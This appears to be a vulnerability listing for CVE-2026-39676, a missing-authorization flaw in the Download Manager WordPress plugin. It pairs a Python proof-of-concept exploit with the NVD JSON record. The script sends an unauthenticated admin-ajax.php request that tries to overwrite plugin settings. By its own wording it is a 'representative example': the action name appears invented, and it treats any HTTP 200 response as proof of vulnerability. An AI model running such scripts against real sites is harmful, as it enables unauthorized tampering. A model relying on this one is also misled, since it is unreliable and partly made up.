CVE-2026-39676

import requests # Exploit Title: Shahjada Download Manager < 3.3.52 - Missing Authorization PoC # Date: 2026-04-08 # Vulnerable Software: Download Manager # Vendor: Shahjada # Version: <= 3.3.52 # CVE: CVE-2026-39676 def check_vulnerability(target_url): """ This script attempts to exploit the missing authorization vulnerability. Attackers can perform actions intended for administrators without authentication. """ # Common endpoint for WP plugins, actual endpoint may vary based on plugin internals # This is a representative example assuming a generic vulnerable action endpoint = "/wp-admin/admin-ajax.php" # Payload representing an unauthorized action (e.g., changing settings) payload = { "action": "dm_download_manager_unauthorized_action", "setting_key": "some_sensitive_config", "setting_value": "malicious_value" } try: response = requests.post(target_url + endpoint, data=payload, timeout=10) # Check if the action was successful (HTTP 200 OK usually indicates success in these cases) if response.status_code == 200: print(f"[+] Target {target_url} appears to be vulnerable.") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Target {target_url} does not appear vulnerable or endpoint changed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-39676", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.230", "lastModified": "2026-04-29T10:17:39.130", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Shahjada Download Manager download-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Download Manager: from n/a through <= 3.3.52."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/download-manager/vulnerability/wordpress-download-manager-plugin-3-3-51-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}